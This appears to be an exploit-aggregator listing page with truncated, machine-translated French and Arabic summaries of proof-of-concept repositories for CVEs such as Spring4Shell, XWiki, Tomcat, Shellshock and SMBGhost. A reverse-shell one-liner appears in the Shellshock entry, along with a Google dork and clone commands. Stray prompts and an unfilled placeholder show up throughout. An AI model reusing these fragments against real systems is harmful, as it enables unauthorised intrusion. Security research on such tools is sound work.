CVE-2022-22965

CVE-2022-22965 Spring4Shell-PoC Version Spring Framework 5.2.20 et 5.3.18 Version corrigée : Spring Framework 5.3.18 et 5.2.20 Spring Boot 2.6.6 et 2.5.12 Détails Spring Core est le composant central de Spring Framework. C'est la base pour construire les autres composants de l'écosystème Spring...

CVE-2023-38831

Logique de détection pour l'exploit CVE-2023-38831 WinRAR Ce dépôt contient une logique de détection pour CVE-2023-38831 exploit WinRAR de falsification de fichier ZIP / double extension avec des requêtes brutes / blocs de code et des noms de fournisseurs ETW spécifiques + ID d'événements. Une...

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 استغلال الهروب من صندوق الرمل js2py مجموعة من سكريبتات الاستغلال التي تستهدف ثغرة الهروب من صندوق الرمل js2py CVE-2024-28397 والتي تسمح بتنفيذ تعليمات برمجية عشوائية من خلال فحص كائنات بايثون الداخلية. 🔍 نظرة عامة على الثغرة تحتوي مكتبة js2py على ثغرة حرجة للهروب من صندوق الرمل تسم...

XWiki-Platform-RCE-CVE-2025-24893

استغلال تنفيذ أوامر عن بُعد غير مصادق عليه في منصة XWiki نظرة عامة هذا النص البرمجي هو تنفيذ مُحسَّن بلغة Bash لاستغلال الثغرة الأمنية التي تؤثر على إصدارات منصة XWiki المتأثرة بـ CVE-2025-24893. يستغل ثغرة تنفيذ أوامر عن بُعد خطيرة غير مصادق عليها تسمح للمهاجمين بتنفيذ كود Groovy عشوائي من خلال...

CVE-2024-51793

CVE-2024-51793 توثيق أداة الاستغلال 📋 نظرة عامة CVE-2024-51793 هي ثغرة رفع ملفات عشوائية غير مصادق عليها في إضافة Computer Repair Shop لووردبريس الإصدارات الأقدم من 3.8116. تسمح هذه الثغرة للمهاجمين برفع ملفات عشوائية، بما في ذلك صدفات الويب PHP، بدون مصادقة، مما يؤدي إلى تنفيذ تعليمات برمجية عن...

gitlab-rce-demo

Démo RCE GitLab Oj Ce dépôt contient une démo autonome de la chaîne RCE notebook-diff de GitLab décrite dans nos recherches. Il démarre un conteneur GitLab 18.11.3 vierge, crée un utilisateur ordinaire via l’interface HTTP publique, puis exécute le PoC contre cette instance. Détails techniques : ...

CVE-2023-27524

CVE-2023-27524 تكوين افتراضي غير آمن في Apache Superset يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد لقطة شاشة المتطلبات Python3.7+ أنظمة التشغيل المدعومة Linuxer Wingays ابدأ مع root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install -r...

CVE-2022-23967

CVE-2022-23967 في TightVNC 1.3.10، يوجد خطأ في توقيع الأعداد الصحيحة وما ينتج عنه تجاوز سعة المخزن المؤقت المستند إلى الكومة في InitialiseRFBConnection في rfbproto.c لمكون vncviewer. لا يوجد فحص للحجم المعطى لـ malloc، على سبيل المثال، يتم قبول -1. هذا يخصص كتلة بحجم صفر، والتي ستعطي مؤشر كومة. و...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 الوصف من الممكن تنفيذ هجوم تنفيذ التعليمات البرمجية عن بُعد RCE باستخدام قيمة Content-Type خبيثة. إذا كانت قيمة Content-Type غير صالحة، يتم إلقاء استثناء يُستخدم بعد ذلك لعرض رسالة خطأ للمستخدم. الإصدارات المتأثرة Struts 2.3.5 Struts 2.3.31 Struts 2.5 Struts 2.5.10...

CVE-2017-9841

phpunit-shell ⭐ un simple script python3 pour exploiter CVE-2017-9841. l'exploit - CVE-2017-9841 ❗ Script simple qui exploite une vulnérabilité d'exécution de code à distance trouvée dans PHPUnit avant 4.8.28 et 5.x avant 5.6.3. Effectue une requête POST vers la cible avec des commandes système...

CVE-2014-6271

Hellshocker 0.1.1 Outil pour exploiter la vulnérabilité Shellshock Fatigué d'utiliser des exploits Shellshock faibles ou simplement « /bin/bash & /dev/tcp/IP/port 0&1 » pour vous frayer un chemin dans le serveur ? Oui, vous devez télécharger et exécuter quelque chose de plus complexe sur le...

CVE-2025-24813-PoC

CVE-2025-24813 – إثبات المفهوم 📖 نظرة عامة يحتوي هذا المستودع على إثبات مفهوم PoC لـ CVE-2025-24813 ، وهي ثغرة تؤثر على اسم المنتج/البرنامج المتأثر هنا – حدّث حسب الإشعار. يُظهر إثبات المفهوم المشكلة بطريقة آمنة وقابلة لإعادة الإنتاج ، لمساعدة الباحثين والمدافعين والمهندسين في التحقق من التصحيحات...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails Web Console RCE ما هذا؟ هذه وحدة من وحدات Metasploit. لدي هذه الوحدة بالفعل. نعم، هذه الوحدة مضمنة في Metasploit. لكن باستخدام هذه الوحدة لا يمكنك الحصول على تنفيذ أوامر عشوائي. أعني، يمكنك فقط إنشاء حمولات reverse/bind shell بها. كنت بحاجة لتنفيذ أوامر مباشرة في الصدف...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 أتمتة الاستغلال والكشف هذا البرنامج بلغة بايثون هو غلاف لثغرة SMBGhost الخاصة بـ RCE. كل الفضل يعود في الاستغلال العملي إلى chompie1337. وكل الفضل في الماسح الضوئي يعود إلى ioncodes. أنا فقط قمت بأتمتة هذه الوظائف في برنامج واحد. يجب أن تضع في اعتبارك بنية الهدف الذي يعمل...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

ruby-RCE-CVE-2019-5420-

إلغاء تسلسل ruby CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 المراجع: root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 بما أن ActiveSupport::MessageVerifier و ActiveSupport::MessageEncryptor يستخدمان Marshal كمُسلسِل افتراضي، فقد...

CVE-2025-0282-Full-version

ستوركس: أداة استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد نظرة عامة ستوركس هي أداة إثبات مفهوم مبنية على بايثون، صُممت لتوضيح ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE، والمعروفة باسم CVE-2025-0282 ، في جهاز شبكة معين. يمكن استغلال هذه الثغرة بإرسال طلب POST مُعدّل إلى نقطة نهاية محددة...

CVE-2025-24813-POC

CVE-2025-24813 إثبات مفهوم RCE لـ Apache Tomcat إثبات مفهوم لثغرة CVE-2025-24813، وهي ثغرة تنفيذ كود عن بعد RCE في Apache Tomcat. هام: هذا الإثبات المفهوم مخصص فقط لاختبار بيئاتك الخاصة أو للأغراض التعليمية. أي استخدام لهذا الإثبات المفهوم لاستغلال الأنظمة دون إذن مناسب محظور وقد يكون غير قانوني...

CVE-2024-40110

نظام إدارة مزرعة الدواجن الإصدار 1.0 - استغلال تنفيذ الأوامر عن بعد RCE نوع الثغرة رفع ملفات غير موثوق دون مصادقة مع تنفيذ أوامر عن بعد الوصف يحتوي نظام إدارة مزرعة الدواجن الإصدار 1.0 على ثغرة أمنية حرجة في وظيفة رفع المنتجات. يفشل التطبيق في التحقق من صحة ملفات الرفع وتنقيتها بشكل صحيح، مما يسم...

CVE-2021-44967

CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Exécution de code à distance authentifiée RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Découvert par: Y1LD1R1M Auteur de l'exploit: D3Ext Page d'accueil du fournisseur:...